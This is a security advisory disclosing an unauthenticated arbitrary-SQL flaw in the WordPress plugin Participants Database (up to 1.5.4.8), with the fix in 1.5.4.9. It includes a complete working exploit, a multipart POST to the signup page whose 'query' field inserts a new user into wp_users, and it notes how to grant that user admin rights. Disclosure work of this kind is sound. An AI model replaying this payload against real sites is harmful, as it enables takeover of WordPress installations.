Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress

Program: Participants Database <= 1.5.4.8
Severity: Unauthenticated attacker can fully compromise the Wordpress
installation
Permalink: http://www.yarubo.com/advisories/1

— Info —

Participants Database is a popular Wordpress plugin that offers the
functionality needed to build and maintain a database of people. As of
today the plugin has been downloaded 92,089 times.

— Vulnerability details —

1. If any of the shortcodes is used (e.g. signup page) then it is
   possible for anonymous (unauthenticated) users to trigger some
   administrative actions.

2. The action "export CSV" takes a parameter called "query" that can
   contain an arbitrary SQL query. This means that an unauthenticated
   user can execute arbitrary SQL statements (e.g. create an admin user,
   read or write files, or execute code depending on the MySQL user
   privileges).

— Exploit —

Add a user to wordpress as follows (if you want an admin user, add
admin privileges to wp_usermeta):

POST /wordpress/pdb-signup/ HTTP/1.1
Host: www.example.com
Content-Length: 789
(…)
Content-Type: multipart/form-data;
boundary=----WebKitFormBoundaryuoACADe1C2IFWMxN

------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="action"

output CSV
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="CSV_type"

participant list
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="subsource"

participants-database
------WebKitFormBoundaryuoACADe1C2IFWMxN
Content-Disposition: form-data; name="query"

INSERT INTO wp_users
(ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name)
VALUES (31337,0x74657374,0x245024425a7a59615354486f41364b693355363576772f5461473861412f475a4b31,0x59617275626f,0x7465737440746573742e636f6d,0x323031342d31312d31312030303a30303a3030,0,0x59617275626f);

------WebKitFormBoundaryuoACADe1C2IFWMxN

— Solution —

This issue has been fixed in version 1.5.4.9. Download the newest version from:

https://wordpress.org/plugins/participants-database/

— Credit —

Yarubo Research Team
research [at] yarubo.com

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